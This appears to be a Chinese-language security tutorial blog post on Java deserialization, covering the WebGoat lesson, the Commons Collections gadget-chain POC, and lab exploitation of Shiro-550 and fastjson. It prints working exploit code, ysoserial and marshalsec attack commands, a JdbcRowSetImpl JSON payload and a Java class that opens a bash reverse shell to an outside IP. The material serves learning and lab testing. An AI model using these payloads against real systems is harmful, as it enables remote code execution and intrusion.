通过WebGoat学习java反序列化漏洞
WebGoat-Insecure Deserialization
Insecure Deserialization 01
概念
本课程描述了什么是序列化,以及如何操纵它来执行不是开发人员最初意图的任务。
目标
1、用户应该对Java编程语言有基本的了解
2、用户将能够检测不安全的反序列化漏洞
3、用户将能够利用不安全的反序列化漏洞
反序列化的利用在其他编程语言(如PHP或Python)中略有不同,但这里学到的关键概念也适用于所有这些语言
Insecure Deserialization 02
序列化是什么
序列化是将某个对象转换为后期可以还原的数据格式的过程。人们经常序列化对象,以便将它们存储起来,或作为通信的一部分发送。反序列化与从某种格式获取结构化数据的过程相反,它是将其重建为对象的过程。如今,用于序列化数据的最流行的数据格式是JSON。在那之前,它是XML
原生序列化
许多编程语言都提供了序列化对象的原生功能。这些原生格式通常提供比JSON或XML更多的特性,包括序列化过程的可定制性。不幸的是,当操作不可信的数据时,这些原生反序列化机制的特性可能会被重新利用,产生恶意影响。针对反序列化器的攻击已经被发现允许拒绝服务、访问控制和远程代码执行攻击。
已知受影响的编程语言
数据,而不是代码
只序列化数据。代码本身没有序列化。反序列化创建一个新对象并从字节流复制所有数据,以便获得与已序列化对象相同的对象。
Insecure Deserialization 03
最简单的利用
漏洞代码
下面是一个众所周知的Java反序列化漏洞示例
它期望一个AcmeObject对象,但是它将在强制转换发生之前执行readObject()。如果攻击者发现适当的类在readObject()中实现了危险的操作,他可以序列化该对象,并强制易受攻击的应用程序执行这些操作。
ClassPath中包含的类
攻击者需要在ClassPath中找到一个支持序列化并在readObject()上具有危险实现的类。
利用
如果上面显示的java类存在,攻击者可以序列化该对象并获得远程代码执行。
Insecure Deserialization 04
什么是Gadets Chain
在反序列化时发现一个运行危险操作的gadget是很少的(但也可能发生)。但是,当一个gadget被反序列化时,要找到一个在其他gatget上运行操作的gadget要容易得多,而第二个gadget在第三个gadget上运行更多操作,以此类推,直到触发真正危险的操作。可以在反序列化过程中使用的gadget集被称为Gadget Chain。
寻找gadgets来构建gadget chains是安全研究人员的一个活跃话题。这种研究通常需要花费大量的时间阅读代码。
Insecure Deserialization 05
任务
下面的输入框接收一个序列化的对象(一个字符串)并对其进行反序列化。
尝试更改这个序列化对象,以便将页面响应延迟恰好5秒。
源码分析
webgoat/deserialization/InsecureDeserializationTask.java
后端拿到我们的token之后进行了一个特殊符号替换,然后进行了base64解码,解码过后进行了readObject()反序列化操作,最后判断一下这个对象是不是VulnerableTaskHolder的实例。所以,我们反序列化的对象也就确定了,那就是VulnerableTaskHolder类的实例。
VulnerableTaskHolder类的实现:
insecure/framework/VulnerableTaskHolder.java
关注readObject方法
可以看到这里直接利用Runtime.getRuntime().exec()执行了taskAction,而taskAction是在构造函数里被赋值的:
所以我们可以通过控制taskAction来控制执行的命令
实现
VulnerableTaskHolder.java 直接copy源码,把没用的删掉即可
在学习java反序列化之前
JMX
JMX (java Management Extensions,即Java管理扩展),是一套标准的代理和服务,用户可以在任何Java应用程序中使用这些代理和服务实现管理,中间件软件WebLogic的管理页面就是基于JMX开发的,而JBoss则整个系统都基于JMX构架。
RMI
RMI(Remote Method Invocation),远程方法调用。通过RMI技术,某一个本地的JVM可以调用存在于另外一个JVM中的对象方法,就好像它仅仅是在调用本地JVM中某个对象方法一样。
RMI是Java的一组拥护开发分布式应用程序的API,实现了不同操作系统之间程序的方法调用。值得注意的是,RMI的传输100%基于反序列化,Java RMI的默认端口是1099端口。
JNDI(Java Naming and Directory Interface),Java 命名与目录接口。JNDI是注册表可以包含很多的RMI,举个例子就JNDI像个本子,RMI像本子上的记录,客户端调用RMI记录的时候会先去JNDI这个本子,然后从本子上找相应的RMI记录
RMI使用Java远程方法协议(JRMP)进行远程Java对象通信。 RMI缺少与其他语言的互操作性,因为它不使用CORBA-IIOP作为通信协议。
Java反射机制
概念
Java 反射机制是 Java 语言的一个重要特性。在学习 Java 反射机制前,应该先了解两个概念,编译期和运行期。
编译期是指把源码交给编译器编译成计算机可以执行的文件的过程。在 Java 中也就是把 Java 代码编成 class 文件的过程。编译期只是做了一些翻译功能,并没有把代码放在内存中运行起来,而只是把代码当成文本进行操作,比如检查错误。
运行期是把编译后的文件交给计算机执行,直到程序运行结束。所谓运行期就把在磁盘中的代码放到内存中执行起来。
Java 反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为 Java 语言的反射机制。简单来说,反射机制指的是程序在运行时能够获取自身的信息。在 Java 中,只要给定类的名字,就可以通过反射机制来获得类的所有信息。
具体实现
下面是一个基本的类 Person
1、得到 Class 的三种方式:
getClass()、 类名.class 、Class对象的forName()静态方法
需要注意的是:一个类在 JVM 中只会有一个 Class 实例,即我们对上面获取的 c1,c2,c3进行 equals 比较,发现都是true
2、通过 Class 类获取成员变量、成员方法、接口、超类、构造方法等
查阅 API 可以看到 Class 有很多方法:
3、我们通过一个例子来综合演示上面的方法:
Runtime.getRuntime().exec()
在java中执行系统命令的方法:
该代码会运行并打开windows下的记事本
它正常的步骤是
那么相应的反射的代码如下
getMethod(方法名,方法类型)invoke(某个对象实例, 传入参数)
这里第一句Object runtime =Class.forName("java.lang.Runtime")的作用
等价于 Object runtime = Runtime.getRuntime()
目的是获取一个对象实例好被下一个invoke调用
第二句Class.forName("java.lang.Runtime").xxxx的作用就是调用上一步生成的runtime实例的exec方法,并将"notepad.exe"参数传入exec()方法
认识Java序列化与反序列化
序列化:把对象转换成字节流,方便持久化保存
反序列化:把序列化后的字节流,还原成对象处理
序列化是将对象状态转换为可保持或传输的格式的过程。与序列化相对的是反序列化,它将流转换为对象。
这两个过程结合起来,可以轻松地存储和传输数据,这就是序列化的意义所在
序列化与反序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。主要应用在以下场景:
Java中的API实现
简单测试:
我们可以看到,先通过输入流创建一个文件,再调用ObjectOutputStream类的 writeObject方法把序列化的数据写入该文件;然后调用ObjectInputStream类的readObject方法反序列化数据并打印数据内容。
实现Serializable和Externalizable接口的类的对象才能被序列化。
Externalizable接口继承自 Serializable接口,实现Externalizable接口的类完全由自身来控制序列化的行为,而仅实现Serializable接口的类可以采用默认的序列化方式 。
对象序列化包括如下步骤:
1) 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;
2) 通过对象输出流的writeObject()方法写对象。
对象反序列化的步骤如下:
1) 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;
2) 通过对象输入流的readObject()方法读取对象。
代码实例
我们创建一个Person接口,然后写两个方法:
序列化方法: 创建一个Person实例,调用函数为其三个成员变量赋值,通过writeObject方法把该对象序列化,写入Person.txt文件中
反序列化方法:调用readObject方法,返回一个经过反序列化处理的对象
在测试主类里面,我们先序列化Person实例对象,然后又反序列化该对象,最后调用函数获取各个成员变量的值。
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.text.MessageFormat;
import java.io.Serializable;
class Person implements Serializable {
/**
* 序列化ID
*/
private static final long serialVersionUID = -5809782578272943999L;
private int age;
private String name;
private String sex;
public int getAge() {
return age;
}
public String getName() {
return name;
}
public String getSex() {
return sex;
}
public void setAge(int age) {
this.age = age;
}
public void setName(String name) {
this.name = name;
}
public void setSex(String sex) {
this.sex = sex;
}
}
/**
* <p>ClassName: SerializeAndDeserialize<p>
* <p>Description: 测试对象的序列化和反序列<p>
*/
public class SerializeDeserialize_readObject {
public static void main(String[] args) throws Exception {
SerializePerson();//序列化Person对象
Person p = DeserializePerson();//反序列Perons对象
System.out.println(MessageFormat.format("name={0},age={1},sex={2}",
p.getName(), p.getAge(), p.getSex()));
}
/**
* MethodName: SerializePerson
* Description: 序列化Person对象
*/
private static void SerializePerson() throws FileNotFoundException,
IOException {
Person person = new Person();
person.setName("ssooking");
person.setAge(20);
person.setSex("男");
// ObjectOutputStream 对象输出流,将Person对象存储到Person.txt文件中,完成对Person对象的序列化操作
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(
new File("Person.txt")));
oo.writeObject(person);
System.out.println("Person对象序列化成功!");
oo.close();
}
/**
* MethodName: DeserializePerson
* Description: 反序列Perons对象
*/
private static Person DeserializePerson() throws Exception, IOException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("Person.txt")));
/*
FileInputStream fis = new FileInputStream("Person.txt");
ObjectInputStream ois = new ObjectInputStream(fis);
*/
Person person = (Person) ois.readObject();
System.out.println("Person对象反序列化成功!");
return person;
}
}
Java反序列化漏洞是怎么产生的
如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。
漏洞分析
Apache Commons Collections
项目地址
官网:http://commons.apache.org/proper/commons-collections/
Github: https://github.com/apache/commons-collections
org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架,也就是说这些扩展也属于collection的基本概念,只是功能不同罢了。Java中的collection可以理解为一组对象,collection里面的对象称为collection的对象。具象的collection为set,list,queue等等,它们是集合类型。换一种理解方式,collection是set,list,queue的抽象。
作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发,而正是因为在大量web应用程序中这些类的实现以及方法的调用,导致了反序列化漏洞的普遍性和严重性。
Apache Commons Collections中有一个特殊的接口,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer。
POC构造
首先,我们可以知道,要想在java中调用外部命令,可以使用这个函数 Runtime.getRuntime().exec(),然而,我们现在需要先找到一个对象,可以存储并在特定情况下执行我们的命令。
(1)Map类--> TransformedMap
Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时(即key或value:集合中的数据存储形式即是一个索引对应一个值),会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。也就是说,TransformedMap类中的数据发生改变时,可以自动的进行一些特殊的变换,比如在数据被修改时,把它改回来; 或者在数据改变时,进行一些我们提前设定好的操作。
至于会进行怎样的操作或变换,这是由我们提前设定的,这个叫做transform。
我们可以通过TransformedMap.decorate()方法获得一个TransformedMap的实例
(2)Transformer接口
transform的源代码
我们可以看到该类接收一个对象,获取该对象的名称,然后调用了一个invoke反射方法。另外,多个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺序调用一系列的变换。
下面是一些实现Transformer接口的类,箭头标注的是我们会用到的。
Apache Commons Collections中已经实现了一些常见的Transformer,其中有一个可以通过Java的反射机制来调用任意函数,叫做InvokerTransformer,代码如下:
public class InvokerTransformer implements Transformer, Serializable {
...
/*
Input参数为要进行反射的对象,
iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型
iArgs为对应方法的参数
在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
只需要传入方法名、参数类型和参数,即可调用任意函数。
在这里,我们可以看到,先用ConstantTransformer()获取了Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令""。依次调用关系为: Runtime --> getRuntime --> exec()
因此,我们要提前构造 ChainedTransformer链,它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数,进而执行命令。正式开始时,我们先构造一个TransformeMap实例,然后想办法修改它其中的数据,使其自动调用tansform()方法进行特定的变换(即我们之前设定好的)
再理一遍:
知识补充
我们可以实现这个思路
public static void main(String[] args) throws Exception {
//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class }, new Object[] {"calc.exe"})};
//首先构造一个Map和一个能够执行代码的ChainedTransformer,以此生成一个TransformedMap
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new hashMap();
innerMap.put("1", "zhang");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发Map中的MapEntry产生修改(例如setValue()函数
Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
/*代码运行到setValue()时,就会触发ChainedTransformer中的一系列变换函数:
首先通过ConstantTransformer获得Runtime类
进一步通过反射调用getMethod找到invoke函数
最后再运行命令calc.exe。
*/
}
更近一步
我们知道,如果一个类的方法被重写,那么在调用这个函数时,会优先调用经过修改的方法。因此,如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,且这个Map变量是可控的,我们就可以实现攻击目标。
AnnotationInvocationHandler类:
这个类有一个成员变量memberValues是Map类型 更棒的是,AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数对value值进行一些变换。
这个类完全符合我们的要求,那么,我们的思路就非常清晰了
所有用到的技术细节
具体实现
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class POC_Test{
public static void main(String[] args) throws Exception {
//execArgs: 待执行的命令数组
//String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" };
//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
/*
由于Method类的invoke(Object obj,Object args[])方法的定义
所以在反射内写new Class[] {Object.class, Object[].class }
正常POC流程举例:
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
*/
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class },
new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String[].class },
new Object[] { "whoami" }
//new Object[] { execArgs }
)
};
//transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
Transformer transformedChain = new ChainedTransformer(transformers);
//BeforeTransformerMap: Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict
//Map<String, String> BeforeTransformerMap = new HashMap<String, String>();
Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
BeforeTransformerMap.put("hello", "hello");
//Map数据结构,转换后的Map
/*
TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
第一个参数为待转化的Map对象
第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
第三个参数为Map对象内的value要经过的转化方法。
*/
//TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
File f = new File("temp.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
}
}
/*
思路:构建BeforeTransformerMap的键值对,为其赋值,
利用TransformedMap的decorate方法,对Map数据结构的key/value进行transforme
对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行
执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec()
*/
如何发现Java反序列化漏洞
1.从流量中发现序列化的痕迹,关键字:ac ed 00 05,rO0AB
2.Java RMI的传输100%基于反序列化,Java RMI的默认端口是1099端口
3.从源码入手,可以被序列化的类一定实现了Serializable接口
4.观察反序列化时的readObject()方法是否重写,重写中是否有设计不合理,可以被利用之处
从可控数据的反序列化或间接的反序列化接口入手,再在此基础上尝试构造序列化的对象。
ysoserial是一款非常好用的Java反序列化漏洞检测工具,该工具通过多种机制构造PoC,并灵活的运用了反射机制和动态代理机制,值得学习和研究。
ysoserial
https://github.com/frohoff/ysoserial
ysoserial是一款用于生成 利用不安全的Java对象反序列化 的有效负载的概念验证工具。
ysoserial是在常见的java库中发现的一组实用程序和面向属性的编程“gadget chains”,在适当的条件下,可以利用执行对象不安全反序列化的Java应用程序。主驱动程序接受用户指定的命令,并将其封装在用户指定的gadget chain中,然后将这些对象序列化为stdout。当类路径上具有所需gadgets的应用程序不安全地反序列化该数据时,将自动调用该链并导致在应用程序主机上执行该命令。
应该注意的是,漏洞在于应用程序执行不安全的反序列化,而不是在类路径上有gadget。
我们经常在执行攻击命令的时候,会看到命令中有 ysoserial.exploit.JRMPListener 和 ysoserial.exploit.JRMPClient,那么JRMP到底是什么呢?
JRMP(Java Remote Method Protocol) Java远程方法协议,JRMP是Java技术协议的具体对象为希望和远程引用。JRMP只能Java特有的,基于流的协议。相对于的RMI - IIOP,JRMP只能是一个对象的Java到Java的远程调用,这使得它依赖语言,意思是客户端和服务器必须使用Java。
ysoserial 中的 exploit/JRMPClient 是作为攻击方的代码,一般会结合 payloads/JRMPListener 使用,攻击流程就是:
先往存在漏洞的服务器发送 payloads/JRMPListener,使服务器反序列化该payload后,会开启一个 RMI服务并监听在设置的端口
然后攻击方在自己的服务器使用exploit/JRMPClient与存在漏洞的服务器进行通信,并且发送一个可命令执行的payload(假如存在漏洞的服务器中有使用org.apache.commons.collections包,则可以发送CommonsCollections系列的payload),从而达到命令执行的结果。
marshalsec
https://github.com/mbechler/marshalsec
JNDI 引用间接
jndiUrl- 触发查找的 JNDI URL
先决条件:
设置远程代码库,与远程类加载相同。
运行指向该代码库JNDI引用重定向服务-两种实现方式包括:jndi.LDAPRefServer和RMIRefServer。
· ```java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]```
使用 (ldap|rmi):// host: port /obj 作为jndiUrl,指向该服务的侦听地址。
shiro-550
1.确定目标使用了 shiro
向任意请求中携带任意值的 rememberMe Cookie,如果响应返回了 Set-Cookie: rememberMe=deleteMe HTTP头,则说明使用了 shiro:
2.确定目标 shiro 使用了默认的 RememberMe cipher key
只有确定 RememberMe cipher key 正确的情况下才能继续尝试反序列化利用。有许多办法可以确定这一点,一个比较简单的办法是通过 DNS 外带查询来确定。
Burp 启动 Burp Collaborator client,点击 Copy to clipboard,从剪贴板获取到一个域名,类似于:m2pxdwq5pbhubx9p6043sg8wqnwdk2.burpcollaborator.net
使用 ysoserial,用上一步得到的域名生成一个 URLDNS 序列化 payload:
java -jar ysoserial.jar URLDNS http://urldns.m2pxdwq5pbhubx9p6043sg8wqnwdk2.burpcollaborator.net> /tmp/urldns.ser |
用 shiro 编码脚本将序列化 payload 进行编码,得到 Cookie 字符串:
java -jar shiro-exp.jar encrypt /tmp/urldns.ser |
再将上面得到的 Cookie 字符串作为 rememberMe Cookie 的值,发送到目标网站,如果 cipher key 正确,则目标会成功反序列化我们发送的 payload,Burp Collaborator client 将收到 dns 解析记录,说明目标网站存在 shiro 反序列化漏洞:
3.尝试反序列化利用
上面的步骤只是确定存在 shiro 反序列化漏洞,接下来尝试进行利用。
攻击者先在公网 vps 上用 ysoserial 启一个恶意的 JRMPListener,监听在 19999 端口,并指定使用 CommonsCollections6 模块,要让目标执行的命令为 ping 一个域名:
java -cp ysoserial.jar ysoserial.expeseloit.JRMPListener 19999
CommonsCollections6 "ping cc6.m2pxdwq5pbhubx9p6043sg8wqnwdk2.burpcollaborator.net"
然后用 ysoserial 生成 JRMPClient 的序列化 payload,指向上一步监听的地址和端口(假如攻击者服务器 ip 地址为 1.1.1.1):
java -jar ysoserial.jar JRMPClient "1.1.1.1:19999" > /tmp/jrmp.ser |
再用 shiro 编码脚本对 JRMPClient payload 进行编码:
java -jar shiro-exp.jar encrypt /tmp/jrmp.ser |
将最后得到的字符串 Cookie 作为 rememberMe Cookie 的值,发送到目标网站。如果利用成功,则前面指定的 ping 命令会在目标服务器上执行,Burp Collaborator client 也将收到 DNS 解析记录。
fastjson
0x01:环境准备
直接将github上的vulhub下载下来,进入fastjson漏洞环境目录下,执行
dcoker-compose up -d
访问http://192.168.43.78:8090即可看到一个 json 对象被返回,代表漏洞环境搭建成功:
此处将 content-type 请求头修改为 application/json 后可向其通过 POST 请求提交新的 JSON 对象,后端会利用 fastjson 进行解析
0x02:攻击
在自己的vps里开启rmi或者ldap服务
推荐使用marshalsec快速开启rmi或ldap服务
地址:
https://github.com/mbechler/marshalsec
下载marshalsec,使用maven编译jar包
mvn clean package -DskipTests
启动 RMI 服务的工具包准备好了,那就开始准备恶意 Java 文件吧,如图创建文件TouchFile.java
接下来对TouchFile.java进行编译,生成TouchFile.class文件:
接着需要使用 Tomcat 或者 Python 搭起 Web 服务,让TouchFile.class文件可对外访问,此处选择 Python 启动 Web 服务:
此处如果你的环境是python2,使用的命令是:python -m SimpleHTTPServer 8099;如果是python3,使用的命令是:python -m http.server 8099。
在 Win 10 物理机访问http://192.168.43.132:8099/(Kali 的 IP+刚才开启的服务端口8088),可成功访问到TouchFile.class文件,如下图所示:
Web 服务器搭建好了,接下来需要启用 RMI 服务才行。使用上面准备好的marshalsec.jar 启动一个RMI服务器,监听 9001 端口,并指定加载远程类TouchFile.class,如下图所示:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.43.132:8099/#TouchFile" 9001
在 Win 10 物理机使用 BurpSuite 向 Fastjson 靶场服务器发送Payload( 将方法改成POST ) 如下图所示:
具体Payload如下:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.43.74:9001/TouchFile",
"autoCommit":true
}
}
此时 Kali 虚拟机的 Web 服务器和 RMI 服务器分别记录了请求信息:
最后可回到 Ubuntu 虚拟机进入Fastjson 服务器对应的 Docker 容器查看/tmp/success是否创建成功:
至此,已成功利用 Fastjson 反序列化漏洞实现在 Fastjson 服务器目录下创建文件。
反弹Shell
可以远程执行命令的漏洞仅仅创建文件就太对不起辛辛苦苦搭建的靶场环境了,接下来可进一步实现反弹 Shell。方法很简单,只需要修改以上恶意文件TouchFile.java 的代码:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.125.2/1888 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后进行编译,并跟上述过程一样使用 BurpSuite 发送最终的 Payload 即可。同时发送 Payload 之前在接收 Shell 的主机开启端口监听,便可成功反弹 Shell.
最后注意 RMI 这种利用方式对 JDK 版本是有要求的,它在以下 JDK 版本被修复(启动服务之前用 java -version查看自己的 jdk 版本是否低于以下版本):
参考
https://www.cnblogs.com/ssooking/p/5875215.html
https://www.jb51.net/article/173574.htm